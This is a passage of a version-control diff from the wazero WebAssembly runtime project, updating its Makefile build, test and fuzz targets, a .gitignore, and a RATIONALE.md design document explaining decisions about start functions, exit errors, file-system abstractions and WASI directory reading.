func HTTPStatusCode(t TestingT, handler http.HandlerFunc, method, url string, values url.Values, statuscode int, msgAndArgs ...interface{}) bool {
|
||||
@@ -124,7 +124,7 @@ func HTTPBody(handler http.HandlerFunc, method, url string, values url.Values) s
|
||||
// HTTPBodyContains asserts that a specified handler returns a
|
||||
// body that contains a string.
|
||||
//
|
||||
// assert.HTTPBodyContains(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky")
|
||||
// assert.HTTPBodyContains(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky")
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPBodyContains(t TestingT, handler http.HandlerFunc, method, url string, values url.Values, str interface{}, msgAndArgs ...interface{}) bool {
|
||||
@@ -144,7 +144,7 @@ func HTTPBodyContains(t TestingT, handler http.HandlerFunc, method, url string,
|
||||
// HTTPBodyNotContains asserts that a specified handler returns a
|
||||
// body that does not contain a string.
|
||||
//
|
||||
// assert.HTTPBodyNotContains(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky")
|
||||
// assert.HTTPBodyNotContains(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky")
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPBodyNotContains(t TestingT, handler http.HandlerFunc, method, url string, values url.Values, str interface{}, msgAndArgs ...interface{}) bool {
|
||||
|
||||
@@ -39,3 +39,7 @@ zig-cache/
|
||||
zig-out/
|
||||
|
||||
.DS_Store
|
||||
|
||||
# Ignore compiled stdlib test cases.
|
||||
/internal/integration_test/stdlibs/testdata
|
||||
/internal/integration_test/libsodium/testdata
|
||||
+46
-12
@@ -1,10 +1,10 @@
|
||||
|
||||
gofumpt := mvdan.cc/[email protected]
|
||||
gosimports := github.com/rinchsan/gosimports/cmd/[email protected]
|
||||
golangci_lint := github.com/golangci/golangci-lint/cmd/[email protected]2.2
|
||||
golangci_lint := github.com/golangci/golangci-lint/cmd/[email protected]5.2
|
||||
asmfmt := github.com/klauspost/asmfmt/cmd/[email protected]
|
||||
# sync this with netlify.toml!
|
||||
hugo := github.com/gohugoio/[email protected]2.5
|
||||
hugo := github.com/gohugoio/[email protected]5.2
|
||||
|
||||
# Make 3.81 doesn't support '**' globbing: Set explicitly instead of recursion.
|
||||
all_sources := $(wildcard *.go */*.go */*/*.go */*/*/*.go */*/*/*.go */*/*/*/*.go)
|
||||
@@ -23,7 +23,6 @@ go_test_options ?= -timeout 300s
|
||||
ensureCompilerFastest := -ldflags '-X github.com/tetratelabs/wazero/internal/integration_test/vs.ensureCompilerFastest=true'
|
||||
.PHONY: bench
|
||||
bench:
|
||||
@go test -run=NONE -benchmem -bench=. ./internal/engine/compiler/...
|
||||
@go build ./internal/integration_test/bench/...
|
||||
@# Don't use -test.benchmem as it isn't accurate when comparing against CGO libs
|
||||
@for d in vs/time vs/wasmedge vs/wasmtime ; do \
|
||||
@@ -39,7 +38,7 @@ build.bench:
|
||||
|
||||
.PHONY: test.examples
|
||||
test.examples:
|
||||
@go test $(go_test_options) ./examples/... ./imports/assemblyscript/example/... ./imports/emscripten/... ./experimental/gojs/example/... ./imports/wasi_snapshot_preview1/example/...
|
||||
@go test $(go_test_options) ./examples/... ./imports/assemblyscript/example/... ./imports/emscripten/... ./imports/wasi_snapshot_preview1/example/...
|
||||
|
||||
.PHONY: build.examples.as
|
||||
build.examples.as:
|
||||
@@ -53,16 +52,17 @@ build.examples.as:
|
||||
build.examples.zig: examples/allocation/zig/testdata/greet.wasm imports/wasi_snapshot_preview1/example/testdata/zig/cat.wasm imports/wasi_snapshot_preview1/testdata/zig/wasi.wasm
|
||||
@cd internal/testing/dwarftestdata/testdata/zig; zig build; mv zig-out/*/main.wasm ./ # Need DWARF custom sections.
|
||||
|
||||
tinygo_sources := examples/basic/testdata/add.go examples/allocation/tinygo/testdata/greet.go examples/cli/testdata/cli.go imports/wasi_snapshot_preview1/example/testdata/tinygo/cat.go
|
||||
tinygo_sources := examples/basic/testdata/add.go examples/allocation/tinygo/testdata/greet.go examples/cli/testdata/cli.go imports/wasi_snapshot_preview1/example/testdata/tinygo/cat.go imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go cmd/wazero/testdata/cat/cat.go
|
||||
.PHONY: build.examples.tinygo
|
||||
build.examples.tinygo: $(tinygo_sources)
|
||||
@for f in $^; do \
|
||||
tinygo build -o $$(echo $$f | sed -e 's/\.go/\.wasm/') -scheduler=none --no-debug --target=wasi $$f; \
|
||||
done
|
||||
@mv cmd/wazero/testdata/cat/cat.wasm cmd/wazero/testdata/cat/cat-tinygo.wasm
|
||||
|
||||
# We use zig to build C as it is easy to install and embeds a copy of zig-cc.
|
||||
# Note: Don't use "-Oz" as that breaks our wasi sock example.
|
||||
c_sources := imports/wasi_snapshot_preview1/example/testdata/zig-cc/cat.c imports/wasi_snapshot_preview1/testdata/zig-cc/wasi.c
|
||||
c_sources := imports/wasi_snapshot_preview1/example/testdata/zig-cc/cat.c imports/wasi_snapshot_preview1/testdata/zig-cc/wasi.c internal/testing/dwarftestdata/testdata/zig-cc/main.c
|
||||
.PHONY: build.examples.zig-cc
|
||||
build.examples.zig-cc: $(c_sources)
|
||||
@for f in $^; do \
|
||||
@@ -119,8 +119,13 @@ spectest_v1_testdata_dir := $(spectest_v1_dir)/testdata
|
||||
spec_version_v1 := wg-1.0
|
||||
spectest_v2_dir := $(spectest_base_dir)/v2
|
||||
spectest_v2_testdata_dir := $(spectest_v2_dir)/testdata
|
||||
# Latest draft state as of May 23, 2023.
|
||||
spec_version_v2 := 2e8912e88a3118a46b90e8ccb659e24b4e8f3c23
|
||||
# Latest draft state as of March 12, 2024.
|
||||
spec_version_v2 := 1c5e5d178bd75c79b7a12881c529098beaee2a05
|
||||
spectest_threads_dir := $(spectest_base_dir)/threads
|
||||
spectest_threads_testdata_dir := $(spectest_threads_dir)/testdata
|
||||
# From https://github.com/WebAssembly/threads/tree/upstream-rebuild which has not been merged to main yet.
|
||||
# It will likely be renamed to main in the future - https://github.com/WebAssembly/threads/issues/216.
|
||||
spec_version_threads := 3635ca51a17e57e106988846c5b0e0cc48ac04fc
|
||||
|
||||
.PHONY: build.spectest
|
||||
build.spectest:
|
||||
@@ -162,13 +167,25 @@ build.spectest.v2: # Note: SIMD cases are placed in the "simd" subdirectory.
|
||||
@cd $(spectest_v2_testdata_dir) \
|
||||
&& curl -sSL 'https://api.github.com/repos/WebAssembly/spec/contents/test/core/simd?ref=$(spec_version_v2)' | jq -r '.[]| .download_url' | grep -E ".wast" | xargs -Iurl curl -sJL url -O
|
||||
@cd $(spectest_v2_testdata_dir) && for f in `find . -name '*.wast'`; do \
|
||||
wast2json --debug-names --no-check $$f; \
|
||||
wast2json --debug-names --no-check $$f || true; \
|
||||
done # Ignore the error here as some tests (e.g. comments.wast right now) are not supported by wast2json yet.
|
||||
|
||||
# Note: We currently cannot build the "threads" subdirectory that spawns threads due to missing support in wast2json.
|
||||
# https://github.com/WebAssembly/wabt/issues/2348#issuecomment-1878003959
|
||||
.PHONY: build.spectest.threads
|
||||
build.spectest.threads:
|
||||
@mkdir -p $(spectest_threads_testdata_dir)
|
||||
@cd $(spectest_threads_testdata_dir) \
|
||||
&& curl -sSL 'https://api.github.com/repos/WebAssembly/threads/contents/test/core?ref=$(spec_version_threads)' | jq -r '.[]| .download_url' | grep -E "atomic.wast" | xargs -Iurl curl -sJL url -O
|
||||
@cd $(spectest_threads_testdata_dir) && for f in `find . -name '*.wast'`; do \
|
||||
wast2json --enable-threads --debug-names $$f; \
|
||||
done
|
||||
|
||||
.PHONY: test
|
||||
test:
|
||||
@go test $(go_test_options) $$(go list ./... | grep -vE '$(spectest_v1_dir)|$(spectest_v2_dir)')
|
||||
@cd internal/version/testdata && go test $(go_test_options) ./...
|
||||
@cd internal/integration_test/fuzz/wazerolib && CGO_ENABLED=0 WASM_BINARY_PATH=testdata/test.wasm go test ./...
|
||||
|
||||
.PHONY: coverage
|
||||
# replace spaces with commas
|
||||
@@ -212,6 +229,14 @@ check:
|
||||
# This makes sure the intepreter can be used. Most often the package that can
|
||||
# drift here is "platform" or "sysfs":
|
||||
#
|
||||
# Ensure we build on plan9. See #1578
|
||||
@GOARCH=amd64 GOOS=plan9 go build ./...
|
||||
# Ensure we build on gojs. See #1526.
|
||||
@GOARCH=wasm GOOS=js go build ./...
|
||||
# Ensure we build on wasip1. See #1526.
|
||||
@GOARCH=wasm GOOS=wasip1 go build ./...
|
||||
# Ensure we build on aix. See #1723
|
||||
@GOARCH=ppc64 GOOS=aix go build ./...
|
||||
# Ensure we build on windows:
|
||||
@GOARCH=amd64 GOOS=windows go build ./...
|
||||
# Ensure we build on an arbitrary operating system:
|
||||
@@ -247,12 +272,21 @@ clean: ## Ensure a clean build
|
||||
@rm -rf dist build coverage.txt
|
||||
@go clean -testcache
|
||||
|
||||
fuzz_default_flags := --no-trace-compares --sanitizer=none -- -rss_limit_mb=8192
|
||||
|
||||
fuzz_timeout_seconds ?= 10
|
||||
.PHONY: fuzz
|
||||
fuzz:
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run basic -- -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run memory_no_diff -- -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run validation -- -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo test
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run logging_no_diff $(fuzz_default_flags) -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run no_diff $(fuzz_default_flags) -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run memory_no_diff $(fuzz_default_flags) -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run validation $(fuzz_default_flags) -max_total_time=$(fuzz_timeout_seconds)
|
||||
|
||||
libsodium:
|
||||
cd ./internal/integration_test/libsodium/testdata && \
|
||||
curl -s "https://api.github.com/repos/jedisct1/webassembly-benchmarks/contents/2022-12/wasm?ref=7e86d68e99e60130899fbe3b3ab6e9dce9187a7c" \
|
||||
| jq -r '.[] | .download_url' | xargs -n 1 curl -LO
|
||||
|
||||
#### CLI release related ####
|
||||
|
||||
|
||||
+566
-60
@@ -67,7 +67,7 @@ dependency.
|
||||
|
||||
## Project structure
|
||||
|
||||
wazero uses internal packages extensively to balance API compatability desires for end users with the need to safely
|
||||
wazero uses internal packages extensively to balance API compatibility desires for end users with the need to safely
|
||||
share internals between compilers.
|
||||
|
||||
End-user packages include `wazero`, with `Config` structs, `api`, with shared types, and the built-in `wasi` library.
|
||||
@@ -235,7 +235,7 @@ rt := wazero.NewRuntimeConfig() // initialized properly
|
||||
There are a few drawbacks to this, notably some work for maintainers.
|
||||
* Interfaces are decoupled from the structs implementing them, which means the signature has to be repeated twice.
|
||||
* Interfaces have to be documented and guarded at time of use, that 3rd party implementations aren't supported.
|
||||
* As of Golang 1.18, interfaces are still [not well supported](https://github.com/golang/go/issues/5860) in godoc.
|
||||
* As of Golang 1.21, interfaces are still [not well supported](https://github.com/golang/go/issues/5860) in godoc.
|
||||
|
||||
## Config
|
||||
|
||||
@@ -414,12 +414,49 @@ In reflection, this approach worked well for the nearly 1.5 year period leading
|
||||
to version 1.0. We've only had to create a single sub-configuration, `FSConfig`,
|
||||
and it was well understood why when it occurred.
|
||||
|
||||
## Why does InstantiateModule call "_start" by default?
|
||||
We formerly had functions like `StartWASICommand` that would verify preconditions and start WASI's "_start" command.
|
||||
However, this caused confusion because both many languages compiled a WASI dependency, and many did so inconsistently.
|
||||
## Why does `ModuleConfig.WithStartFunctions` default to `_start`?
|
||||
|
||||
That said, if "_start" isn't called, it causes issues in TinyGo, as it needs this in order to implement panic. To deal
|
||||
with this a different way, we have a configuration to call any start functions that exist, which defaults to "_start".
|
||||
We formerly had functions like `StartWASICommand` that would verify
|
||||
preconditions and start WASI's `_start` command. However, this caused confusion
|
||||
because both many languages compiled a WASI dependency, and many did so
|
||||
inconsistently.
|
||||
|
||||
The conflict is that exported functions need to use features the language
|
||||
runtime provides, such as garbage collection. There's a "chicken-egg problem"
|
||||
where `_start` needs to complete in order for exported behavior to work.
|
||||
|
||||
For example, unlike `GOOS=wasip1` in Go 1.21, TinyGo's "wasi" target supports
|
||||
function exports. So, the only way to use FFI style is via the "wasi" target.
|
||||
Not explicitly calling `_start` before an ABI such as wapc-go, would crash, due
|
||||
to setup not happening (e.g. to implement `panic`). Other embedders such as
|
||||
Envoy also called `_start` for the same reason. To avoid a common problem for
|
||||
users unaware of WASI, and also to simplify normal use of WASI (e.g. `main`),
|
||||
we added `_start` to `ModuleConfig.WithStartFunctions`.
|
||||
|
||||
In cases of multiple initializers, such as in wapc-go, users can override this
|
||||
to add the others *after* `_start`. Users who want to explicitly control
|
||||
`_start`, such as some of our unit tests, can clear the start functions and
|
||||
remove it.
|
||||
|
||||
This decision was made in 2022, and holds true in 2023, even with the
|
||||
introduction of "wasix". It holds because "wasix" is backwards compatible with
|
||||
"wasip1". In the future, there will be other ways to start applications, and
|
||||
may not be backwards compatible with "wasip1".
|
||||
|
||||
Most notably WASI "Preview 2" is not implemented in a way compatible with
|
||||
wasip1. Its start function is likely to be different, and defined in the
|
||||
wasi-cli "world". When the design settles, and it is implemented by compilers,
|
||||
wazero will attempt to support "wasip2". However, it won't do so in a way that
|
||||
breaks existing compilers.
|
||||
|
||||
In other words, we won't remove `_start` if "wasip2" continues a path of an
|
||||
alternate function name. If we did, we'd break existing users despite our
|
||||
compatibility promise saying we don't. The most likely case is that when we
|
||||
build-in something incompatible with "wasip1", that start function will be
|
||||
added to the start functions list in addition to `_start`.
|
||||
|
||||
See http://wasix.org
|
||||
See https://github.com/WebAssembly/wasi-cli
|
||||
|
||||
## Runtime == Engine+Store
|
||||
wazero defines a single user-type which combines the specification concept of `Store` with the unspecified `Engine`
|
||||
@@ -447,26 +484,26 @@ https://github.com/bytecodealliance/wasmtime/blob/v0.29.0/crates/lightbeam/src/m
|
||||
|
||||
## Exit
|
||||
|
||||
### Why do we return a `sys.ExitError` on exit code zero?
|
||||
### Why do we only return a `sys.ExitError` on a non-zero exit code?
|
||||
|
||||
It may be surprising to find an error returned on success (exit code zero).
|
||||
This can be explained easier when you think of function returns: When results
|
||||
aren't empty, then you must return an error. This is trickier to explain when
|
||||
results are empty, such as the case in the "_start" function in WASI.
|
||||
It is reasonable to think an exit error should be returned, even if the code is
|
||||
success (zero). Even on success, the module is no longer functional. For
|
||||
example, function exports would error later. However, wazero does not. The only
|
||||
time `sys.ExitError` is on error (non-zero).
|
||||
|
||||
The main rationale for returning an exit error even if the code is success is
|
||||
that the module is no longer functional. For example, function exports would
|
||||
error later. In cases like these, it is better to handle errors where they
|
||||
occur.
|
||||
This decision was to improve performance and ergonomics for guests that both
|
||||
use WASI (have a `_start` function), and also allow custom exports.
|
||||
Specifically, Rust, TinyGo and normal wasi-libc, don't exit the module during
|
||||
`_start`. If they did, it would invalidate their function exports. This means
|
||||
it is unlikely most compilers will change this behavior.
|
||||
|
||||
Luckily, it is not common to exit a module during the "_start" function. For
|
||||
example, the only known compilation target that does this is Emscripten. Most,
|
||||
such as Rust, TinyGo, or normal wasi-libc, don't. If they did, it would
|
||||
invalidate their function exports. This means it is unlikely most compilers
|
||||
will change this behavior.
|
||||
`GOOS=waspi1` from Go 1.21 does exit during `_start`. However, it doesn't
|
||||
support other exports besides `_start`, and `_start` is not defined to be
|
||||
called multiple times anyway.
|
||||
|
||||
In summary, we return a `sys.ExitError` to the caller whenever we get it, as it
|
||||
properly reflects the state of the module, which would be closed on this error.
|
||||
Since `sys.ExitError` is not always returned, we added `Module.IsClosed` for
|
||||
defensive checks. This helps integrators avoid calling functions which will
|
||||
always fail.
|
||||
|
||||
### Why panic with `sys.ExitError` after a host function exits?
|
||||
|
||||
@@ -531,7 +568,7 @@ In short, wazero defined system configuration in `ModuleConfig`, not a WASI type
|
||||
one spec to another with minimal impact. This has other helpful benefits, as centralized resources are simpler to close
|
||||
coherently (ex via `Module.Close`).
|
||||
|
||||
In reflection, this worked well as more ABI became usable in wazero. For example, `GOARCH=wasm GOOS=js` code uses the
|
||||
In reflection, this worked well as more ABI became usable in wazero. For example, `GOOS=js GOARCH=wasm` code uses the
|
||||
same `ModuleConfig` (and `FSConfig`) WASI uses, and in compatible ways.
|
||||
|
||||
### Background on `ModuleConfig` design
|
||||
@@ -579,6 +616,135 @@ act differently and document `ModuleConfig` is more about emulating, not necessa
|
||||
|
||||
## File systems
|
||||
|
||||
### Motivation on `sys.FS`
|
||||
|
||||
The `sys.FS` abstraction in wazero was created because of limitations in
|
||||
`fs.FS`, and `fs.File` in Go. Compilers targeting `wasip1` may access
|
||||
functionality that writes new files. The ability to overcome this was requested
|
||||
even before wazero was named this, via issue #21 in March 2021.
|
||||
|
||||
A month later, golang/go#45757 was raised by someone else on the same topic. As
|
||||
of July 2023, this has not resolved to a writeable file system abstraction.
|
||||
|
||||
Over the next year more use cases accumulated, consolidated in March 2022 into
|
||||
#390. This closed in January 2023 with a milestone of providing more
|
||||
functionality, limited to users giving a real directory. This didn't yet expose
|
||||
a file abstraction for general purpose use. Internally, this used `os.File`.
|
||||
However, a wasm module instance is a virtual machine. Only supporting `os.File`
|
||||
breaks sand-boxing use cases. Moreover, `os.File` is not an interface. Even
|
||||
though this abstracts functionality, it does allow interception use cases.
|
||||
|
||||
Hence, a few days later in January 2023, we had more issues asking to expose an
|
||||
abstraction, #1013 and later #1532, on use cases like masking access to files.
|
||||
In other words, the use case requests never stopped, and aren't solved by
|
||||
exposing only real files.
|
||||
|
||||
In summary, the primary motivation for exposing a replacement for `fs.FS` and
|
||||
`fs.File` was around repetitive use case requests for years, around
|
||||
interception and the ability to create new files, both virtual and real files.
|
||||
While some use cases are solved with real files, not all are. Regardless, an
|
||||
interface approach is necessary to ensure users can intercept I/O operations.
|
||||
|
||||
### Why doesn't `sys.File` have a `Fd()` method?
|
||||
|
||||
There are many features we could expose. We could make File expose underlying
|
||||
file descriptors in case they are supported, for integration of system calls
|
||||
that accept multiple ones, namely `poll` for multiplexing. This special case is
|
||||
described in a subsequent section.
|
||||
|
||||
As noted above, users have been asking for a file abstraction for over two
|
||||
years, and a common answer was to wait. Making users wait is a problem,
|
||||
especially so long. Good reasons to make people wait are stabilization. Edge
|
||||
case features are not a great reason to hold abstractions from users.
|
||||
|
||||
Another reason is implementation difficulty. Go did not attempt to abstract
|
||||
file descriptors. For example, unlike `fs.ReadFile` there is no `fs.FdFile`
|
||||
interface. Most likely, this is because file descriptors are an implementation
|
||||
detail of common features. Programming languages, including Go, do not require
|
||||
end users to know about file descriptors. Types such as `fs.File` can be used
|
||||
without any knowledge of them. Implementations may or may not have file
|
||||
descriptors. For example, in Go, `os.DirFS` has underlying file descriptors
|
||||
while `embed.FS` does not.
|
||||
|
||||
Despite this, some may want to expose a non-standard interface because
|
||||
`os.File` has `Fd() uintptr` to return a file descriptor. Mainly, this is
|
||||
handy to integrate with `syscall` package functions (on `GOOS` values that
|
||||
declare them). Notice, though that `uintptr` is unsafe and not an abstraction.
|
||||
Close inspection will find some `os.File` types internally use `poll.FD`
|
||||
instead, yet this is not possible to use abstractly because that type is not
|
||||
exposed. For example, `plan9` uses a different type than `poll.FD`. In other
|
||||
words, even in real files, `Fd()` is not wholly portable, despite it being
|
||||
useful on many operating systems with the `syscall` package.
|
||||
|
||||
The reasons above, why Go doesn't abstract `FdFile` interface are a subset of
|
||||
reasons why `sys.File` does not. If we exposed `File.Fd()` we not only would
|
||||
have to declare all the edge cases that Go describes including impact of
|
||||
finalizers, we would have to describe these in terms of virtualized files.
|
||||
Then, we would have to reason with this value vs our existing virtualized
|
||||
`sys.FileTable`, mapping whatever type we return to keys in that table, also
|
||||
in consideration of garbage collection impact. The combination of issues like
|
||||
this could lead down a path of not implementing a file system abstraction at
|
||||
all, and instead a weak key mapped abstraction of the `syscall` package. Once
|
||||
we finished with all the edge cases, we would have lost context of the original
|
||||
reason why we started.. simply to allow file write access!
|
||||
|
||||
When wazero attempts to do more than what the Go programming language team, it
|
||||
has to be carefully evaluated, to:
|
||||
* Be possible to implement at least for `os.File` backed files
|
||||
* Not be confusing or cognitively hard for virtual file systems and normal use.
|
||||
* Affordable: custom code is solely the responsible by the core team, a much
|
||||
smaller group of individuals than who maintain the Go programming language.
|
||||
|
||||
Due to problems well known in Go, consideration of the end users who constantly
|
||||
ask for basic file system functionality, and the difficulty virtualizing file
|
||||
descriptors at multiple levels, we don't expose `Fd()` and likely won't ever
|
||||
expose `Fd()` on `sys.File`.
|
||||
|
||||
### Why does `sys.File` have a `Poll()` method, while `sys.FS` does not?
|
||||
|
||||
wazero exposes `File.Poll` which allows one-at-a-time poll use cases,
|
||||
requested by multiple users. This not only includes abstract tests such as
|
||||
Go 1.21 `GOOS=wasip1`, but real use cases including python and container2wasm
|
||||
repls, as well listen sockets. The main use cases is non-blocking poll on a
|
||||
single file. Being a single file, this has no risk of problems such as
|
||||
head-of-line blocking, even when emulated.
|
||||
|
||||
The main use case of multi-poll are bidirectional network services, something
|
||||
not used in `GOOS=wasip1` standard libraries, but could be in the future.
|
||||
Moving forward without a multi-poller allows wazero to expose its file system
|
||||
abstraction instead of continuing to hold back it back for edge cases. We'll
|
||||
continue discussion below regardless, as rationale was requested.
|
||||
|
||||
You can loop through multiple `sys.File`, using `File.Poll` to see if an event
|
||||
is ready, but there is a head-of-line blocking problem. If a long timeout is
|
||||
used, bad luck could have a file that has nothing to read or write before one
|
||||
that does. This could cause more blocking than necessary, even if you could
|
||||
poll the others just after with a zero timeout. What's worse than this is if
|
||||
unlimited blocking was used (`timeout=-1`). The host implementations could use
|
||||
goroutines to avoid this, but interrupting a "forever" poll is problematic. All
|
||||
of these are reasons to consider a multi-poll API, but do not require exporting
|
||||
`File.Fd()`.
|
||||
|
||||
Should multi-poll becomes critical, `sys.FS` could expose a `Poll` function
|
||||
like below, despite it being the non-portable, complicated if possible to
|
||||
implement on all platforms and virtual file systems.
|
||||
```go
|
||||
ready, errno := fs.Poll([]sys.PollFile{{f1, sys.POLLIN}, {f2, sys.POLLOUT}}, timeoutMillis)
|
||||
```
|
||||
|
||||
A real filesystem could handle this by using an approach like the internal
|
||||
`unix.Poll` function in Go, passing file descriptors on unix platforms, or
|
||||
returning `sys.ENOSYS` for unsupported operating systems. Implementation for
|
||||
virtual files could have a strategy around timeout to avoid the worst case of
|
||||
head-of-line blocking (unlimited timeout).
|
||||
|
||||
Let's remember that when designing abstractions, it is not best to add an
|
||||
interface for everything. Certainly, Go doesn't, as evidenced by them not
|
||||
exposing `poll.FD` in `os.File`! Such a multi-poll could be limited to
|
||||
built-in filesystems in the wazero repository, avoiding complexity of trying to
|
||||
support and test this abstractly. This would still permit multiplexing for CLI
|
||||
users, and also permit single file polling as exists now.
|
||||
|
||||
### Why doesn't wazero implement the working directory?
|
||||
|
||||
An early design of wazero's API included a `WithWorkDirFS` which allowed
|
||||
@@ -664,7 +830,7 @@ WASI is an abstraction over syscalls. For example, the signature of `fs.Open`
|
||||
does not permit use of flags. This creates conflict on what default behaviors
|
||||
to take when Go implemented `os.DirFS`. On the other hand, `path_open` can pass
|
||||
flags, and in fact tests require them to be honored in specific ways. This
|
||||
extends beyond WASI as even `GOARCH=wasm GOOS=js` compiled code requires
|
||||
extends beyond WASI as even `GOOS=js GOARCH=wasm` compiled code requires
|
||||
certain flags passed to `os.OpenFile` which are impossible to pass due to the
|
||||
signature of `fs.FS`.
|
||||
|
||||
@@ -681,7 +847,61 @@ these to be easier to close.
|
||||
See https://github.com/WebAssembly/wasi-testsuite
|
||||
See https://github.com/golang/go/issues/58141
|
||||
|
||||
### fd_pread: io.Seeker fallback when io.ReaderAt is not supported
|
||||
## Why is our `Readdir` function more like Go's `os.File` than POSIX `readdir`?
|
||||
|
||||
At one point we attempted to move from a bulk `Readdir` function to something
|
||||
more like the POSIX `DIR` struct, exposing functions like `telldir`, `seekdir`
|
||||
and `readdir`. However, we chose the design more like `os.File.Readdir`,
|
||||
because it performs and fits wasip1 better.
|
||||
|
||||
### wasip1/wasix
|
||||
|
||||
`fd_readdir` in wasip1 (and so also wasix) is like `getdents` in Linux, not
|
||||
`readdir` in POSIX. `getdents` is more like Go's `os.File.Readdir`.
|
||||
|
||||
We currently have an internal type `sys.DirentCache` which only is used by
|
||||
wasip1 or wasix. When `HostModuleBuilder` adds support for instantiation state,
|
||||
we could move this to the `wasi_snapshot_preview1` package. Meanwhile, all
|
||||
filesystem code is internal anyway, so this special-case is acceptable.
|
||||
|
||||
### wasip2
|
||||
|
||||
`directory-entry-stream` in wasi-filesystem preview2 is defined in component
|
||||
model, not an ABI, but in wasmtime it is a consuming iterator. A consuming
|
||||
iterator is easy to support with anything (like `Readdir(1)`), even if it is
|
||||
inefficient as you can neither bulk read nor skip. The implementation of the
|
||||
preview1 adapter (uses preview2) confirms this. They use a dirent cache similar
|
||||
in some ways to our `sysfs.DirentCache`. As there is no seek concept in
|
||||
preview2, they interpret the cookie as numeric and read on repeat entries when
|
||||
a cache wasn't available. Note: we currently do not skip-read like this as it
|
||||
risks buffering large directories, and no user has requested entries before the
|
||||
cache, yet.
|
||||
|
||||
Regardless, wasip2 is not complete until the end of 2023. We can defer design
|
||||
discussion until after it is stable and after the reference impl wasmtime
|
||||
implements it.
|
||||
|
||||
See
|
||||
* https://github.com/WebAssembly/wasi-filesystem/blob/ef9fc87c07323a6827632edeb6a7388b31266c8e/example-world.md#directory_entry_stream
|
||||
* https://github.com/bytecodealliance/wasmtime/blob/b741f7c79d72492d17ab8a29c8ffe4687715938e/crates/wasi/src/preview2/preview2/filesystem.rs#L286-L296
|
||||
* https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L2131-L2137
|
||||
* https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L936
|
||||
|
||||
### wasip3
|
||||
|
||||
`directory-entry-stream` is documented to change significantly in wasip3 moving
|
||||
from synchronous to synchronous streams. This is dramatically different than
|
||||
POSIX `readdir` which is synchronous.
|
||||
|
||||
Regardless, wasip3 is not complete until after wasip2, which means 2024 or
|
||||
later. We can defer design discussion until after it is stable and after the
|
||||
reference impl wasmtime implements it.
|
||||
|
||||
See
|
||||
* https://github.com/WebAssembly/WASI/blob/ddfe3d1dda5d1473f37ecebc552ae20ce5fd319a/docs/WitInWasi.md#Streams
|
||||
* https://docs.google.com/presentation/d/1MNVOZ8hdofO3tI0szg_i-Yoy0N2QPU2C--LzVuoGSlE/edit#slide=id.g1270ef7d5b6_0_662
|
||||
|
||||
### How do we implement `Pread` with an `fs.File`?
|
||||
|
||||
`ReadAt` is the Go equivalent to `pread`: it does not affect, and is not
|
||||
affected by, the underlying file offset. Unfortunately, `io.ReaderAt` is not
|
||||
@@ -729,7 +949,7 @@ third `path_len` has ambiguous semantics.
|
||||
`path` offset for the exact length of `path_len`.
|
||||
|
||||
Wasmer considers `path_len` to be the maximum length instead of the exact
|
||||
length that should be written.
|
||||
length that should be written.
|
||||
See https://github.com/wasmerio/wasmer/blob/3463c51268ed551933392a4063bd4f8e7498b0f6/lib/wasi/src/syscalls/mod.rs#L764
|
||||
|
||||
The semantics in wazero follows that of wasmtime.
|
||||
@@ -738,11 +958,84 @@ See https://github.com/bytecodealliance/wasmtime/blob/2ca01ae9478f199337cf743a6a
|
||||
Their semantics match when `path_len` == the length of `path`, so in practice
|
||||
this difference won't matter match.
|
||||
|
||||
## Why does fd_readdir not include dot (".") and dot-dot ("..") entries?
|
||||
## fd_readdir
|
||||
|
||||
When reading a directory, wazero code does not return dot (".") and dot-dot
|
||||
("..") entries. The main reason is that Go does not return them from
|
||||
`os.ReadDir`, and materializing them is complicated (at least dot-dot is).
|
||||
### Why does "wasi_snapshot_preview1" require dot entries when POSIX does not?
|
||||
|
||||
In October 2019, WASI project knew requiring dot entries ("." and "..") was not
|
||||
documented in preview1, not required by POSIX and problematic to synthesize.
|
||||
For example, Windows runtimes backed by `FindNextFileW` could not return these.
|
||||
A year later, the tag representing WASI preview 1 (`snapshot-01`) was made.
|
||||
This did not include the requested change of making dot entries optional.
|
||||
|
||||
The `phases/snapshot/docs.md` document was altered in subsequent years in
|
||||
significant ways, often in lock-step with wasmtime or wasi-libc. In January
|
||||
2022, `sock_accept` was added to `phases/snapshot/docs.md`, a document later
|
||||
renamed to later renamed to `legacy/preview1/docs.md`.
|
||||
|
||||
As a result, the ABI and behavior remained unstable: The `snapshot-01` tag was
|
||||
not an effective basis of portability. A test suite was requested well before
|
||||
this tag, in April 2019. Meanwhile, compliance had no meaning. Developers had
|
||||
to track changes to the latest doc, while clarifying with wasi-libc or wasmtime
|
||||
behavior. This lack of stability could have permitted a fix to the dot entries
|
||||
problem, just as it permitted changes desired by other users.
|
||||
|
||||
In November 2022, the wasi-testsuite project began and started solidifying
|
||||
expectations. This quickly led to changes in runtimes and the spec doc. WASI
|
||||
began importing tests from wasmtime as required behaviors for all runtimes.
|
||||
Some changes implied changes to wasi-libc. For example, `readdir` began to
|
||||
imply inode fan-outs, which caused performance regressions. Most notably a
|
||||
test merged in January required dot entries. Tests were merged without running
|
||||
against any runtime, and even when run ad-hoc only against Linux. Hence,
|
||||
portability issues mentioned over three years earlier did not trigger any
|
||||
failure until wazero (which tests Windows) noticed.
|
||||
|
||||
